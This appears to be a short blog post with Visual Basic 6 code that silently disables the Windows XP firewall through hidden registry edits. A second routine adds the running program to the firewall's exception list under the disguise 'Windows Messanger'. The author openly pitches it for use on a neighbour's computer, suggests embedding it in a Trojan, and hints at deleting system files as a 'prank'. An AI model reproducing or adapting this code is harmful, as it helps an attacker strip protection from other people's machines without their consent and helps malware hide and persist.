Disable Windows Firewall using Visual Basic

Need to disable the firewall of your neighbor ? And you have physical access to his computer ? Or just want to learn it for fun ? I required disabling the XP firewall for so reason and I was able to do it in one line of code using command to enter registry values. Also, this code disables it,but it doesn't kill it.So that If the person notices, it can be turned back on (most prominent and common viruses today first disable the firewall,so he will not be surprised unless he is a plain dumb). While the following codes disable the firewalls, you can be creative if you can design a simple Trojan and embed this code in it. Experiment and learn.

Please note due to display constraints,the code here may not be displayed as in Visual Basic IDE,It will be wrapped up in several lines like the one given below..but you get the idea.

.

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""EnableFirewall"" /t REG_DWORD /d ""0"" /f", vbHide

Here is another piece of code that will do it. Instead of disabling it, it allows exceptions to the firewall, and adds a program as an exception.

Public Sub FirewallException(Path As String)

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""DoNotAllowExceptions"" /t REG_DWORD /d ""0"" /f", vbHide

Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v """ & Path & """ /t REG_SZ /d """ & Path & ":*:Enabled:Windows Messanger"" /f", vbHide

End Sub

Put the above code into a module. To use, put this in your code to add itself to the exception list. You can call this code by using this code -

Call FirewallException(App.Path & "\" & App.EXEName & ".exe")

Also,you can plainly delete some important files using VB6 if you really want to trash his windows..more on this next time.Or If you want to program more prank codes,you can read this article about prank Programming

Till then,Keep (prank) programming :)